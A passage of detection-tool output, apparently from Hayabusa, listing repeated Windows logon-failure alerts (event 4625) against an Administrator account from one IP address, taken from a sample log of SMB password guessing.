NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.348 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RgK6lHgC5WOBk4kW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.389 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2GG0bKgusKqseQij : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.432 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MpHm7DcOmhq4rkaX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.468 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OX1vVGrE7fJSMEiZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.508 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 65i7wtyAhL58QrzC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.551 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: k8uSVFRTLTB6g1eg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.592 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ire6VOUMWZQnNjES : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.629 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pGWnvKUXnbJvRqql : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.666 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xBVvrrLf1rnAviKS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.704 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NE9atGNBlSLQLLcX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.744 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: a0M5EaAXziu07hOH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.784 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PM1mwxqI7yVgoK2D : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.836 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MPqnpvetHXdThxYg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.879 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gthbVQMJ7UD2QS7H : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:11.920 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AwwJXCoC3gMDoDn7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.068 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ilNNoVbZpyhtsNkV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.109 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eNY0lv9IglfHP34d : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.167 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BjSeQciwy17L7raV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.208 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wycE1fIsmPq9zaMU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.241 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5z1spxImm2ZlGOld : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.294 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Dg7o4GCET1bJrlEU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.376 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: E7Db3OLA0XPXL1B4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.417 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Uoqx5iPRp2tfYYos : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.448 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ixw5XWC2frtrTUkv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.495 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3v0NpzAp7io9gbZQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.536 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AfOOiR2zO5xem9Tk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.582 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yiGtitRqZbGNKrtN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.623 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7oQ70LvSMnGxBCFO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.660 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JGHr8623vHZyMY5B : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.707 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: X5Y1C9A4XqxQGoVA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.745 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SOnirLGOZzRVSt3y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.772 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jLu7XtYCHPqVNE7u : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.811 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: w242Ei1CpWErEE4m : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.847 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UOZUagVG4R6zcK92 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.891 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7hQOl8XV3Ydp8UcW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.927 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: u1XBRDfoN0I2iu6L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.963 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ngyknhk7uGvs38bG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:12.996 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QXZUhLVsfRUBDcsu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.045 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VEDAtkhiSqUcLj2i : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.088 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: M4CmH02M91kHzeK2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.125 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5St1kWrKP4PZlOIy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.156 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 17A6k4Om84gunQfB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.195 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Y9GfR4XdixrNJHny : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.236 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 27JWPfEV4DgS1tNv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.280 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yNeJnXg1pyedSpqU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.324 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WWihv14n9IAQXw2X : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.364 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Gy19bFWzQFaQZRBa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.412 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: N28Ec4jkXkSNvsQ1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.447 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sD9qQWJbeukyPQbc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.487 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uoRSHXvwMeKg8cyQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.528 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bPEOhloL7vo1fTFQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.564 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: glbLglffka5JqQCN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.612 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7MTbgvYN6PIaKxeK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.652 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tAjWfgmGrm3o2mAx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.683 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9EZYPG6uQtsez1UI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.720 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PRcnsdLAKd7enemG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.759 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OUZEQaUavv7fWk4w : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.796 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JKth56VEMqMCgwG9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.834 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TCGlvOFFkVpSHSoM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.860 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jmLxSIastsvqdJC8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.895 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IPyvUDHHWzbhyvZE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.935 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: S7dF4fIlAvIBYiw0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:13.976 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bPDPtH2m9TgW8Khg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.008 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AChGHCNom0ds5ujV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.052 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8sLQI4KGgQRq2Sy9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.088 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dqeLFLRT5EXiCBUC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.124 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Dx3tco9up7XnOa7h : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.159 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZdNX4ubtpQaV9EeF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.189 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: S05I0ZlGKGazkVkL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.228 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pzbfrYSYhxH6WcCt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.304 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZGTvXs8Mlc0Fi7iT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.345 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: C1LjtTFjPfPlBqAi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.389 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1lhJW3iO1xGGTMhp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.427 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IMz7WmlBTgadVgN8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:14.468 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OB02epCA5pc5oBeJ : IP Address: 192.168.198.149 : AuthPackage: 